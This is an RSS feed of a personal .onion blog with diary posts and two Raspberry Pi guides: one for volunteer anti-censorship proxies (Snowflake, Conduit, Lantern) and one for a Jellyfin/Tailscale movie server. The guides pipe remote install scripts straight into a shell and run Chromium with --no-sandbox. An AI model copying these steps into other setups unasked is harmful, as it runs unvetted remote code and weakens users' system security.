    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    +
    + + Blackout + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/blackout/ + Mon, 26 Jan 2026 07:21:51 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/blackout/ + I tried to be more useful, but when I couldn&#39;t, I found another way. + Ever since the latest Internet/communication blackout in Iran, I’ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven’t opened it again.

    +

    After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so.

    +

    One important vibe check before we start: I’m not giving anyone a custom “backdoor” into your network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as volunteer nodes inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.

    +

    Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever)

    +

    I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born.

    +

    So I turned my Pis into helpers.

    +

    This post is about running three different anti‑censorship tools on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:

    +
      +
    • Psiphon Conduit – to help Psiphon users automatically
    • +
    • Tor Snowflake (standalone proxy) – to help Tor users automatically
    • +
    • Lantern Unbounded – a browser‑based volunteer bridge, daemonized so it runs forever
    • +
    +

    Everything runs headless (or headless‑ish), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive.

    +
    +

    The philosophy: don’t be a public server, be a volunteer node

    +

    A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house.

    +

    Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.

    +

    That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.

    +
    +

    What you need (one time)

    +

    This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.

    +

    First, install Docker (because containers are a gift):

    +
    sudo apt update
    +sudo apt install -y curl
    +curl -fsSL https://get.docker.com -o get-docker.sh
    +sudo sh get-docker.sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +

    Now make yourself a clean playground under /srv:

    +
    sudo mkdir -p /srv/{conduit,snowflake,lantern}
    +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern}
    +

    I like /srv because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am.

    +
    +

    Conduit: quietly helping Psiphon users (Docker)

    +

    Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required.

    +

    The important part is persistence. Conduit generates an identity key the first time it runs (conduit_key.json), and that identity builds reputation over time. If you lose it, you start from zero again.

    +

    The file: /srv/conduit/docker-compose.yml

    +

    Create it:

    +
    cd /srv/conduit
    +vim docker-compose.yml
    +

    Paste this:

    +
    services:
    +  conduit:
    +    image: ghcr.io/ssmirr/conduit/conduit:latest
    +    container_name: conduit
    +    restart: unless-stopped
    +
    +    # Keep keys and state across restarts
    +    volumes:
    +      - ./data:/app/data
    +
    +    # Optional: if you want a different bandwidth limit / max clients,
    +    # you can pass CLI flags here (these are examples).
    +    # command: ["conduit", "start", "-b", "4", "-c", "8"]
    +

    Then bring it up:

    +
    docker compose up -d
    +docker logs -f conduit
    +

    When it’s working, you’ll see things like:

    +
      +
    • [OK] Connected to Psiphon network
    • +
    • periodic [STATS] lines with Connecting/Connected counters (that’s your “is anyone using this?” moment)
    • +
    +

    If you ever want to stop it:

    +
    docker stop conduit
    +

    Or “disable but keep everything” (recommended):

    +
    docker compose down
    +

    Or “delete it from orbit” (not recommended unless you enjoy rebuilding):

    +
    docker rm -f conduit
    +

    +

    Snowflake: Tor, but even quieter (Docker Compose)

    +

    Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes watchtower for automatic updates.

    +

    The file: /srv/snowflake/docker-compose.yml

    +

    You can download the official file exactly like this:

    +
    cd /srv/snowflake
    +wget -O docker-compose.yml \
    +  "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads"
    +

    If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML:

    +
    services:
    +  snowflake-proxy:
    +    network_mode: host
    +    image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest
    +    container_name: snowflake-proxy
    +    restart: unless-stopped
    +
    +    # For a full list of Snowflake proxy args, see the upstream docs.
    +    # Example if you ever need it:
    +    # command: ["-ephemeral-ports-range", "30000:60000"]
    +
    +  watchtower:
    +    image: containrrr/watchtower
    +    container_name: watchtower
    +    restart: unless-stopped
    +    volumes:
    +      - /var/run/docker.sock:/var/run/docker.sock
    +    command: snowflake-proxy
    +

    Start it (with auto updates):

    +
    docker compose up -d
    +docker logs -f snowflake-proxy
    +

    If you see:

    +
    Proxy starting
    +NAT type: restricted
    +

    …that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping.

    +

    If you get the “container name already in use” error, it just means you already have a snowflake-proxy container from a previous attempt. Fix it with:

    +
    docker rm -f snowflake-proxy
    +docker compose up -d
    +

    +

    Lantern Unbounded: a browser that helps people (systemd + Xvfb)

    +

    Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.

    +

    So we cheat — politely.

    +

    We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.

    +

    Install what we need

    +
    sudo apt update
    +sudo apt install -y xvfb
    +sudo apt install -y chromium-browser || sudo apt install -y chromium
    +

    Fix the X11 socket dir permissions (the annoying but essential part)

    +

    If you don’t do this, Xvfb may throw:

    +

    _XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.

    +

    Fix it once:

    +
    sudo chmod 1777 /tmp
    +sudo mkdir -p /tmp/.X11-unix
    +sudo chown root:root /tmp/.X11-unix
    +sudo chmod 1777 /tmp/.X11-unix
    +

    The file: /etc/systemd/system/unbounded.service

    +

    Pick your username. On my boxes, it’s either hub or rpi. Use your actual user.

    +

    Create the service:

    +
    sudo vim /etc/systemd/system/unbounded.service
    +

    Paste this, and replace YOUR_USER with your username (e.g. hub or rpi):

    +
    [Unit]
    +Description=Lantern Unbounded (Xvfb + Chromium)
    +After=network-online.target
    +Wants=network-online.target
    +
    +[Service]
    +User=YOUR_USER
    +Environment=DISPLAY=:99
    +Environment=XDG_RUNTIME_DIR=/run/user/%U
    +
    +ExecStart=/usr/bin/bash -lc '\
    +  /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \
    +  sleep 1; \
    +  $(command -v chromium || command -v chromium-browser) \
    +    --no-first-run \
    +    --disable-breakpad \
    +    --disable-features=TranslateUI \
    +    --autoplay-policy=no-user-gesture-required \
    +    --use-fake-ui-for-media-stream \
    +    --disable-gpu \
    +    --no-sandbox \
    +    --app=https://unbounded.lantern.io/ \
    +    --kiosk \
    +    --window-size=1280,720 \
    +    --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \
    +    --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \
    +'
    +
    +Restart=always
    +RestartSec=5
    +KillMode=mixed
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Enable and start:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now unbounded.service
    +systemctl status unbounded.service --no-pager
    +

    If you see Active: active (running), you’ve won.

    +

    “It runs headless-ish, but how do I know it’s alive?”

    +

    The simplest “is it on?” checks:

    +
    systemctl status unbounded.service --no-pager
    +journalctl -u unbounded.service -f
    +

    And the “is it actually doing network things?” check:

    +
    sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true
    +

    If you ever want to stop it:

    +
    sudo systemctl stop unbounded.service
    +

    If you want it not to start on boot:

    +
    sudo systemctl disable unbounded.service
    +

    +

    A note on safety, legality, and expectations

    +

    None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running.

    +

    The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts.

    +

    That’s the part I like.

    +
    +

    The quiet satisfaction of it all

    +

    There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t.

    +

    No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.

    +

    And honestly? That’s enough.

    +
    +

    Some rants

    +

    I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we’ve been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom’s face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(

    +

    This is super sad and frustrating. I’ve not really been writing anything due to this. When I came back from my congress + Vienna trip, I’ve been dealing with this situation. It’s just annoying. Let’s cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh… :(

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS+WczSN1mgw5rrx
    +A7pKwjInH+uf/gs3u84Fx9rrgwPTfLQN+++iuDYobWddwFWvXyCpJ/nBene2i8Dr
    +EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu
    +5E+QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj
    +Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH
    +XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p+XhtcHxwh
    +Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx
    +EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7
    +YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N+kj0Pf6uFQZ8TB+/Grqsgo
    +xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic
    +pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM+Cw=
    +=t4W3
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/blackout.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/blackout.md.asc
    +gpg --verify blackout.md.asc blackout.md
    +  
    +
    + + +]]>
    +
    + + 2025 Highlight + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/2025_highlight/ + Mon, 05 Jan 2026 18:53:54 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/2025_highlight/ + <p>I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.</p> + I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.

    +

    After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend’s NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We’ve been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I’m getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..

    +

    Bonus: Remember I said we went to a Sushi place? I’ve been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I’m so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that “we were eating across the hall, and I noticed how pretty she is!”. They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn’t want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11
    +vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8
    +Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh+dxU4LtSIp6CaGNHH6mrhq5
    +LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go+hE/0n0
    +HWcmIsQgBMiu+XEN5R8jCmW+IZ4uN0FMW6Y+IlfLKNmhhTCj/e+2kO3mxP5TPltf
    +2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy
    +JIafzVNz9tIDe1SfnP9NnxQ+gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu
    +5xpuA8nesJsD9oM+ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2
    +cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1
    +Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK+FjAvby+KYBObc/mbB4
    +ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0=
    +=T3Em
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/2025_highlight.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/2025_highlight.md.asc
    +gpg --verify 2025_highlight.md.asc 2025_highlight.md
    +  
    +
    + + +]]>
    +
    + + Seeing the "Light" + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/seeing_the_light/ + Thu, 25 Dec 2025 11:26:04 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/seeing_the_light/ + <p>I have a strong hunch that I made it. I beat my MDD. I&rsquo;m finally happy! I&rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.</p> +<p>Currently I&rsquo;m sitting in Hamburg&rsquo;s CCH, being an Angel in disguise. ;D</p> +<p>I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.</p> + I have a strong hunch that I made it. I beat my MDD. I’m finally happy! I’m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.

    +

    Currently I’m sitting in Hamburg’s CCH, being an Angel in disguise. ;D

    +

    I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.

    +

    I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he’s been wanting to talk to me about… well… something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.

    +

    He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to “give time to time”. So… yea. Idk. She will probably talk to me about this as time goes on. I don’t want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.

    +

    Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.

    +

    As time goes by, and as I become more experienced, I feel more relieved.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr7aBAAgOSc2FBGLiHK+6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm
    +YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt+DKmZnHJlz
    +siRwHqE/+peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn
    +y4CzVsjVClxVCyUf4b361F07+XuGv3kmKOnWTV3suLZykpWpxiQTRdq+jI7DBZKK
    +ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu+sw0+EQoc0
    +riFVnb2+TK1OSkAu7w7HFLcUY0gGZ4+lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0
    +kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ
    +jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/+
    +KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi+w+mYWRzzFq0jnQsBYYu3QmjuhU+V
    +hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U+BVHRT//Y2w6Xnd1OJi
    +terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD+ZBtAs12NdekX/V4=
    +=xRmw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/seeing_the_light.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/seeing_the_light.md.asc
    +gpg --verify seeing_the_light.md.asc seeing_the_light.md
    +  
    +
    + + +]]>
    +
    + + Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + Sun, 21 Dec 2025 09:30:00 +0100 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later. + Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

